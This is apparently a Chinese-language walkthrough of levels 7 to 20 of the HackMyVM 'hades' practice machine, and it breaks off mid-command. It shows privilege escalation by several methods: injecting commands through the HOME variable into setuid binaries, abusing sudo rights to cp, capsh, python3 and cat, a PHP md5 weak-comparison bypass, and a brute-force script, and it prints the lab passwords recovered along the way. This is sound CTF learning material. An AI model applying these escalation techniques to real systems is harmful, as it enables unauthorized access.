aphrodite 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 aphrodite aphrodite 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 aphrodite aphrodite 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 aphrodite aphrodite 807 Apr 23 2023 .profile -r--r----- 1 ariadne ariadne 21 Apr 5 2024 ariadne_pass.txt -rw-r----- 1 root aphrodite 22 Apr 5 2024 flagz.txt -rwS--s--- 1 root aphrodite 16216 Apr 5 2024 homecontent -rw-r----- 1 root aphrodite 185 Apr 5 2024 mission.txt aphrodite@hades:~$ echo $HOME /pwned/aphrodite aphrodite@hades:~$ ./homecontent The content of your HOME is: ariadne_pass.txt flagz.txt homecontent mission.txt 这道题是 HOME 变量注入，`./homecontent` 相当于执行 `ls HOME`。 aphrodite@hades:~$ export HOME=\"/pwned/aphrodite;id\" \u0026\u0026 ./homecontent The content of your HOME is: ariadne_pass.txt flagz.txt homecontent mission.txt uid=2049(ariadne) gid=2048(aphrodite) groups=2048(aphrodite) # id 是 ariadne aphrodite@hades:/pwned/aphrodite$ export HOME=\"/pwned/aphrodite;cat ariadne_pass.txt\" \u0026\u0026 ./homecontent The content of your HOME is: ariadne_pass.txt flagz.txt homecontent mission.txt iNgNazuJrmhJKWixktzk ","date":"2026-04-08","heading":"level7","objectID":"/p/hades/:7:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level7"},{"categories":["靶机复盘"],"collections":null,"content":"level8(cp sudo 提权) ariadne@hades:~$ ls -al total 32 drwxr-x--- 2 root ariadne 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 ariadne ariadne 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 ariadne ariadne 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 ariadne ariadne 807 Apr 23 2023 .profile -rw-r----- 1 root ariadne 22 Apr 5 2024 flagz.txt -rw-r----- 1 root ariadne 165 Apr 5 2024 mission.txt ariadne@hades:~$ cat flagz.txt ^FuGFaFNhtKNxUInxAtd^ ariadne@hades:~$ cat mission.txt ################ # MISSION 0x08 # ################ ## EN ## The user arete lets us use cp on her behalf. ## ES ## La usuaria arete nos deja usar cp en su nombre. ariadne@hades:~$ whereis cp cp: /usr/bin/cp /usr/share/man/man1/cp.1.gz ariadne@hades:~$ ls -al /usr/bin/cp -rwxr-xr-x 1 root root 151152 Sep 20 2022 /usr/bin/cp ariadne@hades:~$ find / -name cp 2\u003e/dev/null /usr/bin/cp 可以看到 cp 没有suid位 。 ariadne@hades:~$ find / -name arete_pass* 2\u003e/dev/null /run/lock/arete_pass.txt /var/tmp/arete_pass.txt ariadne@hades:~$ sudo -l Matching Defaults entries for ariadne on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User ariadne may run the following commands on hades: (arete) NOPASSWD: /bin/cp ariadne@hades:~$ sudo -u arete /bin/cp /run/lock/arete_pass.txt /tmp/123/ ariadne@hades:/tmp/123$ cat arete_pass.txt cat: arete_pass.txt: Permission denied ariadne@hades:/tmp/123$ touch txt ariadne@hades:/tmp/123$ chmod 777 txt ariadne@hades:/tmp/123$ sudo -u arete /bin/cp /run/lock/arete_pass.txt /tmp/123/txt ariadne@hades:/tmp/123$ ls -al total 8 drwxrwxrwx 2 ariadne ariadne 80 Mar 10 06:29 . drwxr-x-wx 11 root root 1040 Mar 10 06:11 .. -rw-r----- 1 arete arete 21 Mar 10 06:14 arete_pass.txt -rwxrwxrwx 1 ariadne ariadne 21 Mar 10 06:29 txt ariadne@hades:/tmp/123$ cat txt QjrIovHacmGWxVjXRLmA ","date":"2026-04-08","heading":"level8(cp sudo 提权)","objectID":"/p/hades/:8:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level8cp-sudo-提权"},{"categories":["靶机复盘"],"collections":null,"content":"level9 arete@hades:~$ ls -al total 32 drwxr-x--- 2 root arete 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 arete arete 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 arete arete 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 arete arete 807 Apr 23 2023 .profile -rw-r----- 1 root arete 22 Apr 5 2024 flagz.txt -rw-r----- 1 root arete 227 Apr 5 2024 mission.txt arete@hades:~$ cat flagz.txt ^qmrrbGUXLTqLFDyCDlx^ arete@hades:~$ cat mission.txt ################ # MISSION 0x09 # ################ ## EN ## The user artemis allows us to use some binary(二进制文件) on her behalf(代表). Its a gift... ## ES ## La usuaria artemis nos permite usar algun binario en su nombre. Es un regalo... arete@hades:~$ find / -name *binary* -type f 2\u003e/dev/null /usr/share/mime/application/x-macbinary.xml /usr/share/mime/application/vnd.ms-excel.sheet.binary.macroenabled.12.xml /usr/share/mime/application/vnd.debian.binary-package.xml /usr/share/mime/model/gltf-binary.xml /var/lib/apt/lists/deb.debian.org_debian_dists_bookworm-updates_main_binary-amd64_Packages.lz4 /var/lib/apt/lists/deb.debian.org_debian_dists_bookworm_main_binary-amd64_Packages.lz4 /var/lib/apt/lists/deb.debian.org_debian-security_dists_bookworm-security_main_binary-amd64_Packages.lz4 arete@hades:~$ find / -name *gift* -type f 2\u003e/dev/null /usr/share/man/man1/giftopnm.1.gz /usr/bin/giftopnm /opt/gift_hacker arete@hades:~$ ls -al /opt/gift_hacker -rwSr-s--- 1 root hacker 16064 Apr 5 2024 /opt/gift_hacker arete@hades:~$ ls -al /usr/bin/giftopnm -rwxr-xr-x 1 root root 26568 Jan 11 2023 /usr/bin/giftopnm arete@hades:~$ sudo -l Matching Defaults entries for arete on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User arete may run the following commands on hades: (artemis) NOPASSWD: /sbin/capsh arete@hades:~$ sudo -u artemis /sbin/capsh --help usage: /sbin/capsh [args ...] --addamb=xxx add xxx,... capabilities to ambient set --cap-uid= use libcap cap_setuid() to change uid --caps=xxx set caps as per cap_from_text() --chroot=path chroot(2) to this path --current show current caps and IAB vectors --decode=xxx decode a hex string to a list of caps --delamb=xxx remove xxx,... capabilities from ambient --drop=xxx drop xxx,... caps from bounding set --explain=xxx explain what capability xxx permits --forkfor= fork and make child sleep for sec --gid= set gid to (hint: id ) --groups=g,... set the supplemental groups --has-a=xxx exit 1 if capability xxx not ambient --has-b=xxx exit 1 if capability xxx not dropped --has-ambient exit 1 unless ambient vector supported --has-i=xxx exit 1 if capability xxx not inheritable --has-p=xxx exit 1 if capability xxx not permitted --has-no-new-privs exit 1 if privs not limited --help, -h this message (or try 'man capsh') --iab=... use cap_iab_from_text() to set iab --inh=xxx set xxx,.. inheritable set --inmode= exit 1 if current mode is not --is-uid= exit 1 if uid != --is-gid= exit 1 if gid != --keep= set keep-capability bit to --killit= send signal(n) to child --license display license info --mode display current libcap mode --mode= set libcap mode to --modes list libcap named modes --no-new-privs set sticky process privilege limiter --noamb reset (drop) all ambient capabilities --noenv no fixup of env vars (for --user) --print display capability relevant state --quiet if first argument skip max cap check --secbits= write a new value for securebits --shell=/xx/yy use /xx/yy instead of /bin/bash for -- --strict toggle --caps, --drop and --inh fixups --suggest=text search cap descriptions for text --supports=xxx exit 1 if capability xxx unsupported --uid= set uid to (hint: id ) --user= set uid,gid and groups to that of user == re-exec(capsh) with args as for -- =+ cap_launch capsh with args as for -+ -- remaining arguments are for /bin/bash -+ cap_launch /bin/bash with remaining args (without -- [/sbin/capsh] will simply exit(0)) arete@hades:~$ sudo -u artemis /sbin/capsh -- artemis@hades:/","date":"2026-04-08","heading":"level9","objectID":"/p/hades/:9:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level9"},{"categories":["靶机复盘"],"collections":null,"content":"level10 artemis@hades:~$ echo $0 -rbash artemis@hades:~$ ls -al total 48 drwxr-x--- 2 root artemis 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 artemis artemis 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 artemis artemis 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 artemis artemis 807 Apr 23 2023 .profile -rw-r----- 1 root artemis 22 Apr 5 2024 flagz.txt -rw-r----- 1 root artemis 202 Apr 5 2024 mission.txt -rw---x--- 1 root artemis 16056 Apr 5 2024 restricted artemis@hades:~$ cat mission.txt ################ # MISSION 0x10 # ################ ## EN ## We need /bin/bash so that the user asia gives us her password. ## ES ## Necesitamos /bin/bash para que la usuaria asia nos de su password. artemis@hades:~$ bash artemis@hades:~$ echo $0 bash artemis@hades:~$ ./restircted bash: ./restircted: No such file or directory artemis@hades:~$ ./restricted Your SHELL is: /bin/rbash djqWtkLisbQlrGtLYHCv ","date":"2026-04-08","heading":"level10","objectID":"/p/hades/:10:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level10"},{"categories":["靶机复盘"],"collections":null,"content":"level11 asia@hades:~$ ls -al total 32 drwxr-x--- 2 root asia 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 asia asia 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 asia asia 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 asia asia 807 Apr 23 2023 .profile -rw-r----- 1 root asia 22 Apr 5 2024 flagz.txt -rw-r----- 1 root asia 188 Apr 5 2024 mission.txt asia@hades:~$ cat mission.txt ################ # MISSION 0x11 # ################ ## EN ## The user asteria is teaching us to program in python. ## ES ## La usuaria asteria nos esta enseñando a programar en python. asia@hades:/usr/share/gcc/python$ sudo -l Matching Defaults entries for asia on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User asia may run the following commands on hades: (asteria) NOPASSWD: /usr/bin/python3 asia@hades:/usr/share/gcc/python$ cd asia@hades:~$ cd /tmp/123 asia@hades:/tmp/123$ vim -bash: vim: command not found asia@hades:/tmp/123$ echo \"import os; os.system('ls');\" \u003e 1.py asia@hades:/tmp/123$ sudo -u asteria /usr/bin/python3 1.py 1.py arete_pass.txt txt asia@hades:/tmp/123$ echo \"import os; os.system('whoami');\" \u003e 1.py asia@hades:/tmp/123$ sudo -u asteria /usr/bin/python3 1.py asteria asia@hades:/tmp/123$ find / -name asteria_pass* 2\u003e/dev/null /usr/share/doc/asteria_pass.txt asia@hades:/tmp/123$ echo \"import os; os.system('cat /usr/share/doc/asteria_pass.txt');\" \u003e 1.py asia@hades:/tmp/123$ sudo -u asteria /usr/bin/python3 1.py hawMVJCYrBgoDAMVhuwT 这一关是真没想到用sudo -l查找是否有可以用于提权的。 ","date":"2026-04-08","heading":"level11","objectID":"/p/hades/:11:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level11"},{"categories":["靶机复盘"],"collections":null,"content":"level12 asteria@hades:~$ ls -al total 36 drwxr-x--- 2 root asteria 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 asteria asteria 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 asteria asteria 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 asteria asteria 807 Apr 23 2023 .profile -rw-r----- 1 root asteria 22 Apr 5 2024 flagz.txt -rw-r----- 1 root asteria 145 Apr 5 2024 mission.txt -rw-r----- 1 root asteria 161 Apr 5 2024 sihiri_old.php asteria@hades:~$ cat flagz.txt ^xSRhIftMsAwWvBAnqNZ^ asteria@hades:~$ cat mission.txt ################ # MISSION 0x12 # ################ ## EN ## The user astraea believes in magic. ## ES ## La usuaria astraea cree en la magia. asteria@hades:~$ cat sihiri_old.php \u003c?php $pass = hash('md5', $_GET['pass']); $pass2 = hash('md5',\"ASTRAEA_PASS\"); if($pass == $pass2){ print(\"ASTRAEA_PASS\"); } else{ print(\"Incorrect ^^\"); } ?\u003e asteria@hades:~$ curl localhost 403 Forbidden 403 Forbidden nginx/1.22.1 asteria@hades:~$ ls -al /var/www/html total 28 drwxr-xr-x 2 root root 4096 Apr 5 2024 . drwxr-xr-x 4 root root 4096 Apr 5 2024 .. -r--r----- 1 www-data www-data 2061 Jan 1 1985 id.zip -r--r----- 1 www-data www-data 195 Mar 13 1977 irene_auth.php -rw------- 1 www-data www-data 106 Aug 31 1992 req.php -r--r----- 1 www-data www-data 1037 Apr 8 1983 request.php -r--r----- 1 www-data www-data 169 Jul 19 2023 sihiri.php asteria@hades:~$ curl http://localhost/sihiri.php -i -s HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 11 Mar 2026 05:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Incorrect ^^ asteria@hades:~$ curl http://localhost/sihiri.php?pass=240610708 -i -s HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 11 Mar 2026 05:11:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive nZkEYtjvHElOtupXKzTE md5弱比较。 ","date":"2026-04-08","heading":"level12","objectID":"/p/hades/:12:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level12"},{"categories":["靶机复盘"],"collections":null,"content":"level13 asteria@hades:~$ ssh astraea@localhost astraea@localhost's password: ^KssHQIAFsxUamecyXIUk^ Connection to localhost closed. 连接上后又断开了连接。我们通过asteria看一下/etc/ssh/sshd_config文件，它是ssh的配置文件。 asteria@hades:~$ cat /etc/ssh/sshd_config Include /etc/ssh/sshd_config.d/*.conf KbdInteractiveAuthentication no UsePAM yes X11Forwarding yes PrintMotd no AcceptEnv LANG LC_* Subsystem sftp /usr/lib/openssh/sftp-server Banner /etc/motd PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 ClientAliveInterval 900 Match User astraea PasswordAuthentication yes ForceCommand /bin/echo '^KssHQIAFsxUamecyXIUk^' Match user delia ForceCommand /bin/bash Match User astraea # 匹配用户为 astraea 的用户 PasswordAuthentication yes # 允许密码连接，即使全局禁用了密码登录,这个用户仍然可以用密码 ForceCommand /bin/echo '^KssHQIAFsxUamecyXIUk^' # 强制执行该命令， 无论用户尝试执行什么命令,都只会执行这个命令 # 用户登录后会自动执行 echo '^KssHQIAFsxUamecyXIUk^',然后断开连接 # 这是一种安全限制,防止用户执行任意命令 BusyBos ： BusyBox 是一个集成了很多常用命令的可执行文件 它常见于 Linux、嵌入式设备、路由器、救援系统、容器精简环境 它的目标是：用尽量小的体积，提供尽量多的基础系统功能 比如一个 busybox 文件里，可能包含： 文件命令：ls、cp、mv、rm 文本命令：cat、grep、echo 进程命令：ps、kill shell：sh 网络命令：ping、wget、ifconfig 所以它不是“某一个具体命令”，而更像是： 一个命令集合 一个多功能工具箱 一个单文件版的小型 Unix 用户空间 它最大的特点 只有一个二进制文件 但能充当很多命令来使用 在/var/tmp目录下存在一个busybox，我们可以通过它执行netstat命令查看本地端口。 asteria@hades:/var/tmp$ ./busybox netstat -tuln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:6667 0.0.0.0:* LISTEN tcp 0 0 127.0.0.11:39951 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 :::1965 :::* LISTEN tcp 0 0 :::80 :::* LISTEN tcp 0 0 :::21 :::* LISTEN tcp 0 0 :::22 :::* LISTEN udp 0 0 127.0.0.11:49149 0.0.0.0:* udp 0 0 0.0.0.0:50638 0.0.0.0:* 可以看到21端口，ftp服务端口，可以传输文件。 asteria@hades:/var/tmp$ cd /tmp/123 asteria@hades:/tmp/123$ ls -al total 12 drwxrwxrwx 2 ariadne ariadne 100 Mar 10 07:47 . drwxr-x-wx 11 root root 1040 Mar 10 06:11 .. -rw-r--r-- 1 asia asia 61 Mar 10 07:49 1.py -rw-r----- 1 arete arete 21 Mar 10 06:14 arete_pass.txt -rwxrwxrwx 1 ariadne ariadne 21 Mar 10 06:29 txt asteria@hades:/tmp/123$ ftp localhost Trying [::1]:21 ... Connected to localhost. 220 (vsFTPd 3.0.3) Name (localhost:asteria): astraea 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp\u003e ls 229 Entering Extended Passive Mode (|||47712|) 150 Here comes the directory listing. -rw-r----- 1 0 2004 21 Apr 05 2024 atalanta.txt -rw-r----- 1 0 2004 22 Apr 05 2024 flagz.txt -rw-r----- 1 0 2004 181 Apr 05 2024 mission.txt 226 Directory send OK. # mget 批量下载文件 ftp\u003e mget atalanta.txt flagz.txt mission.txt mget atalanta.txt [anpqy?]? 229 Entering Extended Passive Mode (|||52855|) 150 Opening BINARY mode data connection for atalanta.txt (21 bytes). 100% |***************************| 21 49.89 KiB/s 00:00 ETA 226 Transfer complete. 21 bytes received in 00:00 (8.93 KiB/s) mget flagz.txt [anpqy?]? 229 Entering Extended Passive Mode (|||36992|) 150 Opening BINARY mode data connection for flagz.txt (22 bytes). 100% |***************************| 22 87.69 KiB/s 00:00 ETA 226 Transfer complete. 22 bytes received in 00:00 (28.26 KiB/s) mget mission.txt [anpqy?]? 229 Entering Extended Passive Mode (|||24319|) 150 Opening BINARY mode data connection for mission.txt (181 bytes). 100% |***************************| 181 911.12 KiB/s 00:00 ETA 226 Transfer complete. 181 bytes received in 00:00 (270.27 KiB/s) ftp\u003e bye 221 Goodbye. asteria@hades:/tmp/123$ cat flagz.txt ^nqTHTzMzDPDJrKPCfVR^ asteria@hades:/tmp/123$ cat atalanta.txt mUcSNQlaXtwSvGcgeTYZ ","date":"2026-04-08","heading":"level13","objectID":"/p/hades/:13:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level13"},{"categories":["靶机复盘"],"collections":null,"content":"level14 atalanta@hades:~$ ls -al total 56 drwxr-x--- 2 root atalanta 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 atalanta atalanta 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 atalanta atalanta 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 atalanta atalanta 807 Apr 23 2023 .profile -rw-r----- 1 root atalanta 22 Apr 5 2024 flagz.txt -rw-r----- 1 root atalanta 237 Apr 5 2024 mission.txt -r-sr-s--- 1 root atalanta 16608 Apr 5 2024 weird -r-------- 1 atalanta atalanta 927 Apr 5 2024 weird.c atalanta@hades:~$ cat flagz.txt ^XXZbDJTQQWCHJWTGeOw^ atalanta@hades:~$ cat mission.txt ################ # MISSION 0x14 # ################ ## EN ## User athena lets us run her program, but she hasn't left us her source code. ## ES ## La usuaria athena nos deja ejecutar su programa, pero no nos ha dejado su codigo fuente. weird 有suid位，athena用户明明把源码留在了当前目录，题目提示说并没有，有一点摸不着头脑。 setuid(2006); setgid(2006); 程序有suid权限，他会降权到2006 id 的用户。 atalanta@hades:/pwned/atalanta$ id athena uid=2006(athena) gid=2006(athena) groups=2006(athena) 所以weird二进制程序有athena的权限了。 #include #include #include #include #include int main() { setuid(2006); setgid(2006); const char *filename; struct stat fs; int r; filename = getenv(\"HOME\"); printf (\"HOME detected: %s\\n\",filename); char cmd[1000]; FILE *out_file = fopen(getenv(\"HOME\"), \"w\"); FILE *fpipe; char *command = \"/bin/cat /var/lib/me\"; char c = 0; if (0 == (fpipe = (FILE*)popen(command, \"r\"))) { perror(\"popen() failed.\"); exit(EXIT_FAILURE); } while (fread(\u0026c, sizeof c, 1, fpipe)) { fprintf(out_file, \"%c\",c); } pclose(fpipe); pclose(out_file); r = stat(filename,\u0026fs); struct passwd *pw = getpwuid(fs.st_uid); if (pw-\u003epw_name != \"atalanta\"){ r = chmod( filename, fs.st_mode \u0026 ~(S_IROTH)+~(S_IRGRP) | S_IWGRP ); } stat(filename,\u0026fs); return EXIT_SUCCESS; } 这是源码，此程序的功能就是把/var/lib/me 文件的内容写入到$HOME里。 atalanta@hades:/pwned/atalanta$ touch ~/1.txt atalanta@hades:/pwned/atalanta$ chmod 777 ~/1.txt atalanta@hades:/pwned/atalanta$ export HOME=\"/tmp/123/1.txt\" atalanta@hades:/pwned/atalanta$ ./weird HOME detected: /tmp/123/1.txt atalanta@hades:/pwned/atalanta$ cat /tmp/123/1.txt kmQMpZsXgOsnzGReRcoV touch ~/1.txt 这样写的原因是：我前面执行了export uraHOME=\u0026quot;/tmp/123\u0026quot;，~受$HOME影响。 ","date":"2026-04-08","heading":"level14","objectID":"/p/hades/:14:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level14"},{"categories":["靶机复盘"],"collections":null,"content":"level15 athena@hades:~$ ls -al total 36 drwxr-x--- 2 root athena 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 athena athena 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 athena athena 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 athena athena 807 Apr 23 2023 .profile -rw-r----- 1 root athena 166 Apr 5 2024 auri_old.sh -rw-r----- 1 root athena 22 Apr 5 2024 flagz.txt -rw-r----- 1 root athena 160 Apr 5 2024 mission.txt athena@hades:~$ cat mission.txt ################ # MISSION 0x15 # ################ ## EN ## User aura lets us use her new script(脚本程序). ## ES ## La usuaria aura nos deja utilizar su nuevo script. athena@hades:~$ cat auri_old.sh #!/bin/bash echo \"What?\" read hackme #Secure the condition! #if [[ $hackme =~ \"????????\" ]]; then #exit #fi #Add newest Aura pass! #$hackme AURANEWPASS 2\u003e/dev/null read 是 bash 内置命令,用于从标准输入读取数据并赋值给变量。 read hackme 等待用户从键盘输入。 按回车后,将输入的内容存储到变量 hackme 中。 然后可以用 $hackme 访问。 判断是否包含啥字母，包含，自动退出。 $hackme AURANEWPASS 2\u003e/dev/null 这里存在命令注入。 通过find没有找到与auri相关的文件，sudo -l发现： athena@hades:~$ sudo -l Matching Defaults entries for athena on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User athena may run the following commands on hades: (aura) NOPASSWD: /bin/bash -c /pwned/aura/auri.sh cat echo tac more printf athena@hades:~$ sudo -u aura /bin/bash -c /pwned/aura/auri.sh What? printf TiqpedAFjwmVyBlYpzRh 输入printf 出现了密码。 ","date":"2026-04-08","heading":"level15","objectID":"/p/hades/:15:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level15"},{"categories":["靶机复盘"],"collections":null,"content":"level16 cat mission.txt ################ # MISSION 0x16 # ################ ## EN ## User aegle has a good memory for numbers. ## ES ## La usuaria aegle tiene buena memoria para los numeros. 解决办法： #!/usr/bin/env bash set -euo pipefail BIN=\"$HOME/numbers\" MAX_LEN=\"${MAX_LEN:-100}\" prefix=\"\" probe() { local candidate=\"$1\" python3 - \"$BIN\" \"$prefix\" \"$candidate\" \u003c\u003c'PY' import os import pty import select import sys bin_path = sys.argv[1] prefix = sys.argv[2].split() if sys.argv[2] else [] candidate = sys.argv[3] inputs = prefix + [candidate] debug = os.getenv(\"DEBUG\") == \"1\" pid, fd = pty.fork() if pid == 0: os.execv(bin_path, [bin_path]) buf = \"\" idx = 0 sent_candidate = False saw_next_prompt = False saw_no = False def find_prompt(b): for marker in (\"Enter one number:\", \"Enter next number:\", \"Enter number:\"): pos = b.find(marker) if pos != -1: return pos, len(marker) if \"Enter\" in b and \"number\" in b: return b.rfind(\"Enter\"), len(\"Enter\") return -1, 0 while True: r, _, _ = select.select([fd], [], [], 8) if not r: break try: data = os.read(fd, 4096).decode(errors=\"ignore\") except OSError: break if not data: break buf += data while True: if \"NO\" in buf: saw_no = True if debug: print(\"RAW OUTPUT:\\n\" + buf, file=sys.stderr) os.close(fd) sys.exit(1) if \"Number OK\" in buf: buf = buf.split(\"Number OK\", 1)[1] pos, mlen = find_prompt(buf) if pos == -1: break # 看到提示，说明可以输入下一位 buf = buf[pos + mlen:] if idx \u003c len(inputs): os.write(fd, (inputs[idx] + \"\\n\").encode()) if idx == len(inputs) - 1: sent_candidate = True idx += 1 if sent_candidate: saw_next_prompt = True else: break # 进程结束或超时：没有 NO 且候选已发送 os.close(fd) if debug: print(\"RAW OUTPUT:\\n\" + buf, file=sys.stderr) if sent_candidate and not saw_no: # 如果看到了下一次提示，或进程结束但没 NO，都算成功 sys.exit(0 if (saw_next_prompt or True) else 1) sys.exit(1) PY } found_any=0 for ((i=1; i\u003c=MAX_LEN; i++)); do found=0 for d in {0..9}; do if probe \"$d\"; then if [[ -n \"$prefix\" ]]; then prefix=\"$prefix $d\" else prefix=\"$d\" fi echo \"第 $i 位 = $d\" found=1 found_any=1 break fi done if [[ \"$found\" -eq 0 ]]; then echo \"没有更多正确数字，结束。\" break fi done if [[ \"$found_any\" -eq 1 ]]; then echo \"已发现序列: $prefix\" else echo \"未发现任何正确数字\" fi DEBUG=1 bash 4.sh 运行结果: RAW OUTPUT: 6 YRturIymmHSdBmEClEGe RAW OUTPUT: 7 NO :_( RAW OUTPUT: 8 NO :_( RAW OUTPUT: 9 NO :_( 没有更多正确数字，结束。 已发现序列: 1 2 3 1 2 3 9 1 1 1 1 2 ","date":"2026-04-08","heading":"level16","objectID":"/p/hades/:16:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level16"},{"categories":["靶机复盘"],"collections":null,"content":"level17 aegle@hades:~$ cat flagz.txt ^XCwOqgVvWpDVwPVVUJa^ aegle@hades:~$ cat mission.txt ################ # MISSION 0x17 # ################ ## EN ## User calliope likes to have her things looked at. ## ES ## A la usuaria calliope le gusta que le miren sus cosas. aegle@hades:~$ ls -al total 36 drwxr-x--- 2 root aegle 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 aegle aegle 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 aegle aegle 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 aegle aegle 807 Apr 23 2023 .profile -rw-r----- 1 root calliope 21 Apr 5 2024 calliope_pass.txt -rw-r----- 1 root aegle 22 Apr 5 2024 flagz.txt -rw-r----- 1 root aegle 176 Apr 5 2024 mission.txt aegle@hades:~$ sudo -l Matching Defaults entries for aegle on hades: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty User aegle may run the following commands on hades: (calliope) NOPASSWD: /bin/cat aegle@hades:~$ sudo -u calliope /bin/cat ./calliope_pass.txt /bin/cat: ./calliope_pass.txt: Permission denied aegle@hades:~$ sudo -u calliope /bin/cat /pwned/calliope/flagz.txt ^rFWOMwBJDidqSNtEJGJ^ 无法访问calliope_pass.txt，拿到calliope/flagz.txt，再网站获得密码就可以。 calliope/IlhyWxZuqIHAuqVOpXfQ ","date":"2026-04-08","heading":"level17","objectID":"/p/hades/:17:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level17"},{"categories":["靶机复盘"],"collections":null,"content":"level18 这文件真奇怪。 ./writeme Cannot send you my pass!Cannot send you my pass!Cannot send you my pass!TAMYefoHcCPmexwImodo^OCbFzMIKPQOZQMEUKwEi^Cannot send you my pass!calliope@hades:~$ ","date":"2026-04-08","heading":"level18","objectID":"/p/hades/:18:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level18"},{"categories":["靶机复盘"],"collections":null,"content":"level19 calypso@hades:~$ cat mission.txt ################ # MISSION 0x19 # ################ ## EN ## User cassandra always wanted to be on TV. ## ES ## La usuaria cassandra siempre quiso salir en la TV. slowrx 工具我不会使用，不会配置。 sstv 解码： sudo apt update sudo apt install qsstv pavucontrol ffmpeg qsstv 播放cassy.wav 文件（scp 下载）。 ","date":"2026-04-08","heading":"level19","objectID":"/p/hades/:19:0","tags":["HackMyVM"],"title":"hades","uri":"/p/hades/#level19"},{"categories":["靶机复盘"],"collections":null,"content":"level20 cassandra@hades:~$ ls -al total 36 drwxr-x--- 2 root cassandra 4096 Apr 5 2024 . drwxr-xr-x 1 root root 4096 Apr 5 2024 .. -rw-r--r-- 1 cassandra cassandra 220 Apr 23 2023 .bash_logout -rw-r--r-- 1 cassandra cassandra 3526 Apr 23 2023 .bashrc -rw-r--r-- 1 cassandra cassandra 807 Apr 23 2023 .profile -rw-r----- 1 root cassandra 22 Apr 5 2024 flagz.txt -rw-r----- 1 root cassandra 369 Apr 5 2024 here.txt -rw-r----- 1 root cassandra 147 Apr 5 2024 mission.txt cassandra@hades:~$ cat flagz.txt ^lntvcYNlazEljOyZYKz^ cassandra@hades:~$ cat mission.txt ################ # MISSION 0x20 # ################ ## EN ## User cassiopeia sees the invisible. ## ES ## La usuaria cassiopeia ve lo invisible. cassandra@hades:~$ cat here.txt VGhlIHBhc3N3b3JkIG9mIGNhc3Npb3BlaWEgaXM6CSAgICAgIAkgICAgCSAgIAkgICAgIAkgICAg CSAgICAKICAgCSAgICAJICAJICAgIAkgCSAgIAkgICAgICAgCSAgICAJICAgIAoJICAgICAgCQkg CSAgIAkgICAJICAgIAkgICAgIAkgICAgIAkgIAogICAJIAkgICAgIAkgICAgICAJICAgIAkgICAg ICAJICAJICAJIAkgICAKICAgCSAgICAgIAkgICAgCSAJICAgICAJICAgICAgCSAgICAJICAgCSAg ICAgCgkgICAgCSAgICAJIAkgICAgICAJICAgICAJIAkgCSAgICAgICAJIAo= base64 解码出来的内容： The password of cassiopeia is: 这里使用了文本隐写，通过scp将内容下载到本地。 warn@kali:~/Desktop$ base64 